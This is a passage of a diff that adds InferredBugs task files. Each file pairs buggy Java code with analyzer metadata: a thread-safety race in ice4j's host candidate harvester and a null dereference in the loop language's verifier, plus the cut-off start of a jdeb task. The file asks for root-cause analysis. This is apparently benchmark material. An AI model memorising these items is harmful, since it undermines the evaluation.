+                        "candidate interface filters initialization.", e);
+            }
+        }
+
+        return blockedInterfaces;
+    }
+
+    /**
+     * Gathers all candidate addresses on the local machine, binds sockets on
+     * them and creates {@link HostCandidate}s. The harvester would always
+     * try to bind the sockets on the specified <tt>preferredPort</tt> first.
+     * If that fails we will move through all ports between <tt>minPort</tt> and
+     * <tt>maxPort</tt> and give up if still can't find a free port.
+     *
+     * @param component the {@link Component} that we'd like to gather candidate
+     * addresses for.
+     * @param preferredPort the port number that should be tried first when
+     * binding local <tt>Candidate</tt> sockets for this <tt>Component</tt>.
+     * @param minPort the port number where we should first try to bind before
+     * moving to the next one (i.e. <tt>minPort + 1</tt>)
+     * @param maxPort the maximum port number where we should try binding
+     * before giving up and throwing an exception.
+     * @param transport transport protocol used
+     *
+     * @throws IllegalArgumentException if either <tt>minPort</tt> or
+     * <tt>maxPort</tt> is not a valid port number, <tt>minPort >
+     * maxPort</tt> or if transport is not supported.
+     * @throws IOException if an error occurs while the underlying resolver lib
+     * is using sockets.
+     */
+    public void harvest(Component component,
+                        int       preferredPort,
+                        int       minPort,
+                        int       maxPort,
+                        Transport transport)
+        throws IllegalArgumentException,
+               IOException
+    {
+        harvestStatistics.startHarvestTiming();
+
+        Enumeration<NetworkInterface> interfaces
+                        = NetworkInterface.getNetworkInterfaces();
+
+        boolean isIPv6Disabled = StackProperties.getBoolean(
+                StackProperties.DISABLE_IPv6,
+                false);
+
+        boolean isIPv6LinkLocalDisabled = StackProperties.getBoolean(
+                StackProperties.DISABLE_LINK_LOCAL_ADDRESSES,
+                false);
+
+        if(transport != Transport.UDP && transport != Transport.TCP)
+        {
+            throw new IllegalArgumentException(
+                "Transport protocol not supported: " + transport);
+        }
+
+        boolean boundAtLeastOneSocket = false;
+        while (interfaces.hasMoreElements())
+        {
+            NetworkInterface iface = interfaces.nextElement();
+
+            if (NetworkUtils.isInterfaceLoopback(iface)
+                || !NetworkUtils.isInterfaceUp(iface)
+                || !isInterfaceAllowed(iface))
+            {
+                //this one is obviously not going to do
+                continue;
+            }
+
+            Enumeration<InetAddress> addresses = iface.getInetAddresses();
+
+            while(addresses.hasMoreElements())
+            {
+                InetAddress addr = addresses.nextElement();
+
+                if (addr.isLoopbackAddress())
+                {
+                    //loopback again
+                    continue;
+                }
+
+                if (isIPv6LinkLocalDisabled
+                        && (addr instanceof Inet6Address)
+                        && addr.isLinkLocalAddress())
+                {
+                    continue;
+                }
+
+                if((addr instanceof Inet4Address) || !isIPv6Disabled)
+                {
+                    IceSocketWrapper sock = null;
+                    try
+                    {
+                        if(transport == Transport.UDP)
+                        {
+                            sock = createDatagramSocket(
+                                addr, preferredPort, minPort, maxPort);
+                            boundAtLeastOneSocket = true;
+                        }
+                        else if(transport == Transport.TCP)
+                        {
+                            if(addr instanceof Inet6Address)
+                                continue;
+                            sock = createServerSocket(
+                                    addr,
+                                    preferredPort,
+                                    minPort,
+                                    maxPort,
+                                    component);
+                            boundAtLeastOneSocket = true;
+                        }
+                    }
+                    catch(IOException exc)
+                    {
+                        // There seems to be a problem with this particular
+                        // address let's just move on for now and hope we will
+                        // find better
+                        if (logger.isLoggable(Level.WARNING))
+                        {
+                            logger.warning(
+                                    "Failed to create a socket for:"
+                                        +"\naddr:" + addr
+                                        +"\npreferredPort:" + preferredPort
+                                        +"\nminPort:" + minPort
+                                        +"\nmaxPort:" + maxPort
+                                        +"\nprotocol:" + transport
+                                        +"\nContinuing with next address");
+                        }
+                        continue;
+                    }
+
+                    HostCandidate candidate
+                        = new HostCandidate(sock, component, transport);
+                    candidate.setVirtual(
+                            NetworkUtils.isInterfaceVirtual(iface));
+                    component.addLocalCandidate(candidate);
+
+                    if(transport == Transport.TCP)
+                    {
+                        // have to wait a client connection to add a STUN socket
+                        // to the StunStack
+                        continue;
+                    }
+
+                    // We are most certainly going to use all local host
+                    // candidates for sending and receiving STUN connectivity
+                    // checks. In case we have enabled STUN, we are going to use
+                    // them as well while harvesting reflexive candidates.
+                    createAndRegisterStunSocket(candidate);
+                }
+            }
+        }
+
+        if(!boundAtLeastOneSocket)
+        {
+            throw new IOException(
+                "Failed to bind even a single host candidate for component:"
+                            + component
+                            + " preferredPort=" + preferredPort
+                            + " minPort=" + minPort
+                            + " maxPort=" + maxPort);
+        }
+
+        this.harvestStatistics
+            .stopHarvestTiming(component.getLocalCandidateCount());
+    }
+
+    /**
+     * Returns a boolean value indicating whether ice4j should allocate a host
+     * candidate for the specified interface.
+     *
+     * @param iface The {@link NetworkInterface}.
+     *
+     * @return <tt>true</tt> if the {@link NetworkInterface} is listed in the
+     * <tt>org.ice4j.ice.harvest.ALLOWED_INTERFACES</tt> list. If that list
+     * isn't defined, returns <tt>true</tt> if it's not listed in the
+     * <tt>org.ice4j.ice.harvest.BLOCKED_INTERFACES</tt> list. It returns
+     * <tt>false</tt> otherwise.
+     */
+    static boolean isInterfaceAllowed(NetworkInterface iface)
+    {
+        if (iface == null)
+            throw new IllegalArgumentException("iface cannot be null");
+
+        // gp: use getDisplayName() on Windows and getName() on Linux. Also
+        // see NetworkAddressManagementServiceImpl in Jitsi.
+        String ifName = (System.getProperty("os.name") == null
+                || System.getProperty("os.name").startsWith("Windows"))
+                ? iface.getDisplayName()
+                : iface.getName();
+
+        String[] allowedInterfaces = getAllowedInterfaces();
+
+        // NOTE The blocked interfaces list is taken into account only if the
+        // allowed interfaces list is not defined.
+
+        // getAllowedInterfaces returns null if the array is empty.
+        if (allowedInterfaces != null)
+        {
+            // A list of allowed interfaces exists.
+            return Arrays.asList(allowedInterfaces).contains(ifName);
+        }
+        else
+        {
+            // A list of allowed interfaces does not exist.
+            String[] blockedInterfaces = getBlockedInterfaces();
+
+            // getBlockedInterfaces returns null if the array is empty.
+            if (blockedInterfaces != null)
+            {
+                // but a list of blocked interfaces exists.
+                return !Arrays.asList(blockedInterfaces).contains(ifName);
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Creates a <tt>ServerSocket</tt> and binds it to the specified
+     * <tt>localAddress</tt> and a port in the range specified by the
+     * <tt>minPort</tt> and <tt>maxPort</tt> parameters.
+     *
+     * @param laddr the address that we'd like to bind the socket on.
+     * @param preferredPort the port number that we should try to bind to first.
+     * @param minPort the port number where we should first try to bind before
+     * moving to the next one (i.e. <tt>minPort + 1</tt>)
+     * @param maxPort the maximum port number where we should try binding
+     * before giving up and throwing an exception.
+     *
+     * @return the newly created <tt>DatagramSocket</tt>.
+     *
+     * @throws IllegalArgumentException if either <tt>minPort</tt> or
+     * <tt>maxPort</tt> is not a valid port number or if <tt>minPort >
+     * maxPort</tt>.
+     * @throws IOException if an error occurs while the underlying resolver lib
+     * is using sockets.
+     * @throws BindException if we couldn't find a free port between
+     * <tt>minPort</tt> and <tt>maxPort</tt> before reaching the maximum allowed
+     * number of retries.
+     */
+    private IceSocketWrapper createServerSocket(InetAddress laddr,
+        int preferredPort, int minPort, int maxPort,
+        Component component)
+        throws IllegalArgumentException,
+               IOException,
+               BindException
+    {
+        // make sure port numbers are valid
+        this.checkPorts(preferredPort, minPort, maxPort);
+
+        int bindRetries = StackProperties.getInt(
+                        StackProperties.BIND_RETRIES,
+                        StackProperties.BIND_RETRIES_DEFAULT_VALUE);
+
+        int port = preferredPort;
+        for (int i = 0; i < bindRetries; i++)
+        {
+            try
+            {
+                ServerSocket sock = new ServerSocket();
+                sock.setReuseAddress(true);
+                sock.bind(new InetSocketAddress(laddr, port));
+                IceSocketWrapper socket
+                                = new IceTcpServerSocketWrapper(sock,
+                                    component);
+
+                if(logger.isLoggable(Level.FINEST))
+                {
+                    logger.log(
+                            Level.FINEST,
+                            "just bound to: " + sock.getLocalSocketAddress());
+                }
+                return socket;
+            }
+            catch (SocketException se)
+            {
+                logger.log(
+                        Level.INFO,
+                        "Retrying a bind because of a failure to bind to"
+                            + " address " + laddr
+                            + " and port " + port
+                            + " (" + se.getMessage() +")");
+                logger.log(Level.INFO, "", se);
+            }
+
+            port ++;
+
+            if (port > maxPort)
+                port = minPort;
+        }
+
+        throw new BindException("Could not bind to any port between "
+                        + minPort + " and " + (port - 1));
+    }
+
+    /**
+     * Creates a <tt>DatagramSocket</tt> and binds it to the specified
+     * <tt>localAddress</tt> and a port in the range specified by the
+     * <tt>minPort</tt> and <tt>maxPort</tt> parameters. We first try to bind
+     * the newly created socket on the <tt>preferredPort</tt> port number
+     * (unless it is outside the <tt>[minPort, maxPort]</tt> range in which case
+     * we first try the <tt>minPort</tt>) and then proceed incrementally upwards
+     * until we succeed or reach the bind retries limit. If we reach the
+     * <tt>maxPort</tt> port number before the bind retries limit, we will then
+     * start over again at <tt>minPort</tt> and keep going until we run out of
+     * retries.
+     *
+     * @param laddr the address that we'd like to bind the socket on.
+     * @param preferredPort the port number that we should try to bind to first.
+     * @param minPort the port number where we should first try to bind before
+     * moving to the next one (i.e. <tt>minPort + 1</tt>)
+     * @param maxPort the maximum port number where we should try binding
+     * before giving up and throwing an exception.
+     *
+     * @return the newly created <tt>DatagramSocket</tt>.
+     *
+     * @throws IllegalArgumentException if either <tt>minPort</tt> or
+     * <tt>maxPort</tt> is not a valid port number or if <tt>minPort >
+     * maxPort</tt>.
+     * @throws IOException if an error occurs while the underlying resolver lib
+     * is using sockets.
+     * @throws BindException if we couldn't find a free port between
+     * <tt>minPort</tt> and <tt>maxPort</tt> before reaching the maximum allowed
+     * number of retries.
+     */
+    private IceSocketWrapper createDatagramSocket(InetAddress laddr,
+                                                int preferredPort,
+                                                int minPort,
+                                                int maxPort)
+        throws IllegalArgumentException,
+               IOException,
+               BindException
+    {
+        // make sure port numbers are valid.
+        this.checkPorts(preferredPort, minPort, maxPort);
+
+        int bindRetries = StackProperties.getInt(
+                        StackProperties.BIND_RETRIES,
+                        StackProperties.BIND_RETRIES_DEFAULT_VALUE);
+
+        int port = preferredPort;
+        for (int i = 0; i < bindRetries; i++)
+        {
+            try
+            {
+                IceSocketWrapper sock
+                                = new IceUdpSocketWrapper(new
+                                    MultiplexingDatagramSocket(port, laddr));
+
+                if(logger.isLoggable(Level.FINEST))
+                {
+                    logger.log(
+                            Level.FINEST,
+                            "just bound to: " + sock.getLocalSocketAddress());
+                }
+                return sock;
+            }
+            catch (SocketException se)
+            {
+                logger.log(
+                        Level.INFO,
+                        "Retrying a bind because of a failure to bind to"
+                            + " address " + laddr
+                            + " and port " + port
+                            + " (" + se.getMessage() +")");
+                logger.log(Level.FINEST, "", se);
+            }
+
+            port ++;
+
+            if (port > maxPort)
+                port = minPort;
+        }
+
+        throw new BindException("Could not bind to any port between "
+                        + minPort + " and " + (port - 1));
+    }
+
+    /**
+     * Since we are most certainly going to use all local host candidates for
+     * sending and receiving STUN connectivity checks, and possibly for STUN
+     * harvesting too, we might as well create their STUN sockets here and
+     * register them with the StunStack. This allows us to avoid conflicts
+     * between the STUN harvester and the connectivity checks later on.
+     *
+     * @param candidate the candidate whose stun socket we'd like to initialize
+     * and register with the StunStack.
+     */
+    private void createAndRegisterStunSocket(HostCandidate candidate)
+    {
+        IceSocketWrapper stunSocket = candidate.getStunSocket(null);
+
+        candidate.getStunStack().addSocket(stunSocket);
+    }
+
+    /**
+     * Checks if the different ports are correctly set. If not, throws an
+     * IllegalArgumentException.
+     *
+     * @param preferredPort the port number that we should try to bind to first.
+     * @param minPort the port number where we should first try to bind before
+     * moving to the next one (i.e. <tt>minPort + 1</tt>)
+     * @param maxPort the maximum port number where we should try binding
+     * before giving up and throwing an exception.
+     *
+     * @throws IllegalArgumentException if either <tt>minPort</tt> or
+     * <tt>maxPort</tt> is not a valid port number or if <tt>minPort</tt> is
+     * greater than <tt>maxPort</tt>.
+     */
+    private void checkPorts(int preferredPort, int minPort, int maxPort)
+        throws IllegalArgumentException
+    {
+        // make sure port numbers are valid
+        if (!NetworkUtils.isValidPortNumber(minPort)
+                        || !NetworkUtils.isValidPortNumber(maxPort))
+        {
+            throw new IllegalArgumentException("minPort (" + minPort
+                            + ") and maxPort (" + maxPort + ") "
+                            + "should be integers between 1024 and 65535.");
+        }
+
+        // make sure minPort comes before maxPort.
+        if (minPort > maxPort)
+        {
+            throw new IllegalArgumentException("minPort (" + minPort
+                            + ") should be less than or "
+                            + "equal to maxPort (" + maxPort + ")");
+        }
+
+        // if preferredPort is not  in the allowed range, place it at min.
+        if (minPort > preferredPort || preferredPort > maxPort)
+        {
+            throw new IllegalArgumentException("preferredPort ("+preferredPort
+                            +") must be between minPort (" + minPort
+                            + ") and maxPort (" + maxPort + ")");
+        }
+    }
+
+    /**
+     * Returns the statistics describing how well the various harvests of this
+     * harvester went.
+     *
+     * @return The {@link HarvestStatistics} describing this harvester's
+     * harvests.
+     */
+    public HarvestStatistics getHarvestStatistics()
+    {
+        return harvestStatistics;
+    }
+
+    /**
+     * Initializes the host candidate interface filters stored in the
+     * <tt>org.ice4j.ice.harvest.ALLOWED_INTERFACES</tt> and
+     * <tt>org.ice4j.ice.harvest.BLOCKED_INTERFACES</tt> properties.
+     *
+     * @throws java.lang.IllegalStateException if there were errors during host
+     * candidate interface filters initialization.
+     */
+    public static void initializeInterfaceFilters()
+    {
+        synchronized (HostCandidateHarvester.class)
+        {
+            // We want this method to run only once.
+            if (interfaceFiltersinitialized)
+                return;
+
+            interfaceFiltersinitialized = true;
+        }
+
+        // Initialize the allowed interfaces array.
+        allowedInterfaces = StackProperties.getStringArray(
+                StackProperties.ALLOWED_INTERFACES, ";");
+
+        // getStringArray returns null if the array is empty.
+        if (allowedInterfaces != null)
+        {
+            // Validate the allowed interfaces array.
+
+            // 1. Make sure the allowedInterfaces list contains interfaces that
+            // exist on the system.
+            for (String iface : allowedInterfaces)
+                try
+                {
+                    NetworkInterface.getByName(iface);
+                }
+                catch (SocketException e)
+                {
+                    throw new IllegalStateException("there is no network " +
+                            "interface with the name " + iface, e);
+                }
+
+            // the allowedInterfaces array is not empty and its items represent
+            // valid interfaces => there's at least one listening interface.
+        }
+        else
+        {
+            // NOTE The blocked interfaces list is taken into account only if
+            // the allowed interfaces list is not defined => initialize the
+            // blocked interfaces only if the allowed interfaces list is not
+            // defined.
+
+            // Initialize the blocked interfaces array.
+            blockedInterfaces = StackProperties.getStringArray(
+                    StackProperties.BLOCKED_INTERFACES, ";");
+
+            // getStringArray returns null if the array is empty.
+            if (blockedInterfaces != null)
+            {
+                // Validate the blocked interfaces array.
+
+                // 1. Make sure the blockedInterfaces list contains interfaces
+                // that exist on the system.
+                for (String iface : blockedInterfaces)
+                    try
+                    {
+                        NetworkInterface.getByName(iface);
+                    }
+                    catch (SocketException e)
+                    {
+                        throw new IllegalStateException("there is no " +
+                                "network interface with the name " + iface,
+                                e);
+                    }
+
+                // 2. Make sure there's at least one allowed interface.
+                Enumeration<NetworkInterface> allInterfaces;
+                try
+                {
+                    allInterfaces = NetworkInterface.getNetworkInterfaces();
+                }
+                catch (SocketException e)
+                {
+                    throw new IllegalStateException("could not get the " +
+                            "list of the available network interfaces", e);
+                }
+
+                int count = 0;
+                while (allInterfaces.hasMoreElements())
+                {
+                    allInterfaces.nextElement();
+                    count++;
+                }
+
+                if (blockedInterfaces.length >= count)
+                    throw new IllegalStateException("all network " +
+                            "interfaces are blocked");
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.ice4j.ice.harvest.HostCandidateHarvester.getBlockedInterfaces` reads without synchronization from `harvest.HostCandidateHarvester.org.ice4j.ice.harvest.HostCandidateHarvester.interfaceFiltersinitialized`. Potentially races with write in method `HostCandidateHarvester.initializeInterfaceFilters()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+java.lang.String[] HostCandidateHarvester.getBlockedInterfaces()
+
+### Procedure Id:
+org.ice4j.ice.harvest.HostCandidateHarvester.getBlockedInterfaces():java.lang.String[].d4987a9aec26b2ebd63abd10ee62db8a
+
+### File:
+src/org/ice4j/ice/harvest/HostCandidateHarvester.java
+
+### Key:
+HostCandidateHarvester.java|getBlockedInterfaces|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+f3d264b014544160d89518109f5c1c0f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10610/instruction.md b/inferredbugs-10610/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cd098e76d13f24f361a1496b65936693602f4312
--- /dev/null
+++ b/inferredbugs-10610/instruction.md
@@ -0,0 +1,436 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** loop
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package loop;
+
+import loop.ast.*;
+import loop.ast.script.ArgDeclList;
+import loop.ast.script.FunctionDecl;
+import loop.ast.script.Unit;
+import loop.runtime.regex.NamedPattern;
+
+import java.lang.reflect.Constructor;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Stack;
+
+/**
+ * Walks the reduced AST looking for scope, symbol and module/import errors. This phase is intended
+ * to catch all obvious errors that static analysis can reveal.
+ * <p/>
+ * Nothing in this phase affects the semantics of the program. This phase can be completely skipped
+ * with no ill-effects for semantically correct programs.
+ */
+class Verifier {
+  private final Unit unit;
+  private final Stack<FunctionContext> functionStack = new Stack<FunctionContext>();
+
+  private List<AnnotatedError> errors;
+
+  public Verifier(Unit unit) {
+    this.unit = unit;
+  }
+
+  public List<AnnotatedError> verify() {
+    for (FunctionDecl functionDecl : unit.functions()) {
+      verify(functionDecl);
+    }
+
+    return errors;
+  }
+
+  private void verify(FunctionDecl functionDecl) {
+    functionStack.push(new FunctionContext(functionDecl));
+
+    // Attempt to resolve the exception handler in scope.
+    if (functionDecl.exceptionHandler != null) {
+      verifyExceptionHandler(functionDecl);
+    }
+
+    // some basic function signature verification.
+    if (functionDecl.patternMatching && functionDecl.arguments().children().isEmpty()) {
+      addError("Cannot have zero arguments in a pattern matching function" +
+          " (did you mean to use '->')", functionDecl.sourceLine, functionDecl.sourceColumn);
+    } else
+      verifyNodes(functionDecl.children());
+
+    for (Node inner : functionDecl.whereBlock()) {
+      if (inner instanceof FunctionDecl)
+        verify((FunctionDecl) inner);
+      else
+        verifyNode(inner);
+    }
+
+    functionStack.pop();
+  }
+
+  private void verifyExceptionHandler(FunctionDecl functionDecl) {
+    FunctionDecl exceptionHandler = resolveCall(functionDecl.exceptionHandler);
+    if (exceptionHandler == null)
+      addError("Cannot resolve exception handler: " + functionDecl.exceptionHandler,
+          functionDecl.sourceLine, functionDecl.sourceColumn);
+    else {
+      int argsSize = exceptionHandler.arguments().children().size();
+      // Verify exception handler template.
+      if (!exceptionHandler.patternMatching)
+        addError("Exception handler must be a pattern-matching function (did you mean '=>')",
+            exceptionHandler.sourceLine, exceptionHandler.sourceColumn);
+      else if (argsSize != 1) {
+        addError("Exception handler must take exactly 1 argument (this one takes "
+            + argsSize + ")", exceptionHandler.sourceLine, exceptionHandler.sourceColumn);
+      } else {
+        for (Node child : exceptionHandler.children()) {
+          PatternRule rule = (PatternRule) child;
+
+          // Should have only 1 arg pattern.
+          Node patternNode = rule.patterns.get(0);
+          if (patternNode instanceof PrivateField) {
+            if (!RestrictedKeywords.ENSURE.equals(((PrivateField) patternNode).name()))
+              addError("Illegal pattern rule in exception handler (did you mean '" +
+                  RestrictedKeywords.ENSURE + "')",
+                  patternNode.sourceLine, patternNode.sourceColumn);
+          } else if (patternNode instanceof TypeLiteral) {
+            TypeLiteral literal = (TypeLiteral) patternNode;
+            if (!resolveType(literal, Throwable.class))
+              addError("Cannot resolve exception type: " + literal.name, literal.sourceLine,
+                  literal.sourceColumn);
+          } else if (!(patternNode instanceof WildcardPattern))
+            addError("Illegal pattern rule in exception handler (only Exception types allowed)",
+                patternNode.sourceLine, patternNode.sourceColumn);
+        }
+      }
+    }
+  }
+
+  private void verifyNodes(List<Node> nodes) {
+    for (Node child : nodes) {
+
+      if (child instanceof PatternRule) {
+        Stack<PatternRule> patternRuleStack = functionStack.peek().patternRuleStack;
+        patternRuleStack.push((PatternRule) child);
+        verifyNode(child);
+        patternRuleStack.pop();
+
+      } else if (child instanceof FunctionDecl) // Closures in function body.
+        verify((FunctionDecl)child);
+      else
+        verifyNode(child);
+    }
+  }
+
+  private void verifyNode(Node node) {
+    if (node == null)
+      return;
+
+    // Pre-order traversal.
+    verifyNodes(node.children());
+
+    if (node instanceof Call) {
+      Call call = (Call) node;
+
+      // Skip resolving property derefs.
+      if (call.isJavaStatic() || call.isPostfix())
+        return;
+
+      verifyNode(call.args());
+
+      FunctionDecl targetFunction = resolveCall(call.name);
+      if (targetFunction == null)
+        addError("Cannot resolve function: " + call.name, call.sourceLine, call.sourceColumn);
+      else {
+        // Check that the args are correct.
+        int targetArgs = targetFunction.arguments().children().size();
+        int calledArgs = call.args().children().size();
+        if (calledArgs != targetArgs)
+          addError("Incorrect number of arguments to: " + targetFunction.name()
+              + " (expected " + targetArgs + ", found "
+              + calledArgs + ")",
+              call.sourceLine, call.sourceColumn);
+      }
+
+    } else if (node instanceof PatternRule) {
+      PatternRule patternRule = (PatternRule) node;
+      verifyNode(patternRule.rhs);
+
+      // Some sanity checking of pattern rules.
+      FunctionDecl function = functionStack.peek().function;
+      int argsSize = function.arguments().children().size();
+      int patternsSize = patternRule.patterns.size();
+      if (patternsSize != argsSize)
+        addError("Incorrect number of patterns in: '" + function.name() + "' (expected " + argsSize
+            + " found " + patternsSize + ")", patternRule.sourceLine, patternRule.sourceColumn);
+
+    } else if (node instanceof Guard) {
+      Guard guard = (Guard) node;
+      verifyNode(guard.expression);
+      verifyNode(guard.line);
+    } else if (node instanceof Variable) {
+      Variable var = (Variable) node;
+      if (!resolveVar(var.name))
+        addError("Cannot resolve symbol: " + var.name, var.sourceLine, var.sourceColumn);
+    } else if (node instanceof ConstructorCall) {
+      ConstructorCall call = (ConstructorCall) node;
+      if (!resolveType(call))
+        addError("Cannot resolve type (either as loop or Java): "
+            + (call.modulePart == null ? "" : call.modulePart) + call.name,
+            call.sourceLine, call.sourceColumn);
+    }
+  }
+
+  private boolean resolveType(TypeLiteral literal, Class<?> superType) {
+    // First resolve as Loop type. Then Java type.
+    ClassDecl classDecl = unit.resolve(literal.name, true);
+    if (classDecl != null)
+      return true;
+
+    String javaType = unit.resolveJavaType(literal.name);
+    if (javaType == null)
+      return false;
+
+    // Verify that it exists and that it is a compatible type.
+    try {
+      return superType.isAssignableFrom(Class.forName(javaType));
+    } catch (ClassNotFoundException e) {
+      return false;
+    }
+  }
+
+  private boolean resolveType(ConstructorCall call) {
+    ClassDecl classDecl = unit.resolve(call.name, true);
+    if (classDecl != null)
+      return true;
+
+    String javaType;
+    if (call.modulePart != null) {
+      String[] pieces = call.modulePart.split("[.]");
+
+      // This could be an alias if there is only one namespace part to it.
+      if (pieces.length == 1) {
+        String alias = pieces[0];
+        classDecl = unit.resolveAliasedType(alias, call.name);
+
+        if (classDecl != null)
+          return true;
+      }
+
+      javaType = call.modulePart + call.name;   // if it's an FQN
+    } else
+      javaType = unit.resolveJavaType(call.name);  // resolve via require clause
+
+    if (javaType == null)
+      return false;
+
+    // Attempt to resolve as a Java type.
+    try {
+      Class<?> clazz = Class.forName(javaType);
+
+      int size = call.args().children().size();
+      for (Constructor<?> constructor : clazz.getConstructors()) {
+        if (constructor.getParameterTypes().length == size)
+          return true;
+      }
+    } catch (ClassNotFoundException e) {
+      return false;
+    }
+
+    return false;
+  }
+
+  private boolean resolveVar(String name) {
+    ListIterator<FunctionContext> iterator = functionStack.listIterator(functionStack.size());
+    FunctionContext thisFunction = functionStack.peek();
+
+    // First of all, attempt to resolve as a patterm match.
+    if (thisFunction.function.patternMatching && !thisFunction.patternRuleStack.empty()) {
+      PatternRule patternRule = thisFunction.patternRuleStack.peek();
+      for (Node pattern : patternRule.patterns) {
+        if (pattern instanceof MapPattern) {
+          // Look in destructuring pairs
+          for (Node child : pattern.children()) {
+            Variable lhs = (Variable)((DestructuringPair)child).lhs;
+            if (name.equals(lhs.name))
+              return true;
+          }
+
+        } else if (pattern instanceof RegexLiteral) {
+          RegexLiteral regexLiteral = (RegexLiteral) pattern;
+          try {
+            NamedPattern compiled = NamedPattern.compile(regexLiteral.value);
+            if (compiled.groupNames().contains(name))
+              return true;
+
+          } catch (RuntimeException e) {
+            addError("Malformed regular expression: " + regexLiteral.value
+                + " (" + e.getMessage() + ")",
+                regexLiteral.sourceLine, regexLiteral.sourceColumn);
+          }
+        } else {
+          for (Node node : pattern.children()) {
+            if (node instanceof Variable && name.equals(((Variable) node).name))
+              return true;
+          }
+        }
+      }
+    }
+
+    // Attempt to resolve in args.
+    for (Node node : thisFunction.function.arguments().children()) {
+      ArgDeclList.Argument argument = (ArgDeclList.Argument) node;
+      if (name.equals(argument.name()))
+        return true;
+    }
+
+    // Keep searching up the stack until we resolve this symbol or die trying!.
+    while (iterator.hasPrevious()) {
+      FunctionDecl functionDecl = iterator.previous().function;
+      List<Node> children = functionDecl.children();
+
+      // Then attempt to resolve in function scope.
+      if (resolveVarInNodes(name, children))
+        return true;
+      else if (resolveVarInNodes(name, functionDecl.whereBlock()))
+        return true;
+    }
+
+    // Finally this could be a function pointer.
+    return resolveCall(name) != null;
+  }
+
+  private boolean resolveVarInNodes(String name, List<Node> children) {
+    for (Node node : children) {
+      if (node instanceof Assignment) {
+        Assignment assignment = (Assignment) node;
+        Node lhs = assignment.lhs();
+        String lhsName;
+        if (lhs instanceof Variable)
+          lhsName = ((Variable) lhs).name;
+        else {
+          // Should be a call chain, pick the first node as the local variable.
+          assert lhs instanceof CallChain;
+          lhsName = ((Variable)lhs.children().iterator().next()).name;
+        }
+        if (name.equals(lhsName))
+          return true;
+      }
+    }
+    return false;
+  }
+
+  private FunctionDecl resolveCall(String name) {
+    ListIterator<FunctionContext> iterator = functionStack.listIterator(functionStack.size());
+    while (iterator.hasPrevious()) {
+      FunctionDecl functionDecl = iterator.previous().function;
+      List<Node> whereBlock = functionDecl.whereBlock();
+
+      // Well, first see if this is a direct call (usually catches recursion).
+      if (name.equals(functionDecl.name()))
+        return functionDecl;
+
+      // First attempt to resolve in local function scope.
+      for (Node node : whereBlock) {
+        if (node instanceof FunctionDecl) {
+          FunctionDecl inner = (FunctionDecl) node;
+          if (name.equals(inner.name()))
+            return inner;
+        }
+      }
+    }
+
+    // Then attempt to resolve in module(s).
+    FunctionDecl target = unit.resolveFunction(name, true /* resolve in deps */);
+    if (target != null)
+      return target;
+
+    return null;
+  }
+
+  private void addError(String message, int line, int column) {
+    if (errors == null)
+      errors = new ArrayList<AnnotatedError>();
+
+    errors.add(new StaticError(message, line, column));
+  }
+
+  public static class FunctionContext {
+    private final FunctionDecl function;
+    private Stack<PatternRule> patternRuleStack;
+
+    public FunctionContext(FunctionDecl function) {
+      this.function = function;
+      if (function.patternMatching)
+        this.patternRuleStack = new Stack<PatternRule>();
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `call.args()` could be null and is dereferenced at line 141.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Verifier.verifyNode(Call)
+
+### Procedure Id:
+loop.Verifier.verifyNode(loop.ast.Call):void.7db622cd1e43ac2475446a03dd14cbaf
+
+### File:
+src/loop/Verifier.java
+
+### Key:
+Verifier.java|verifyNode|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+ab8c60a3cee5d6183c44ac1e877d9182
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10617/instruction.md b/inferredbugs-10617/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dc0adc78c16179b125fd42eac1be8b0ce4047ece
--- /dev/null
+++ b/inferredbugs-10617/instruction.md
@@ -0,0 +1,357 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdeb
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2008 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
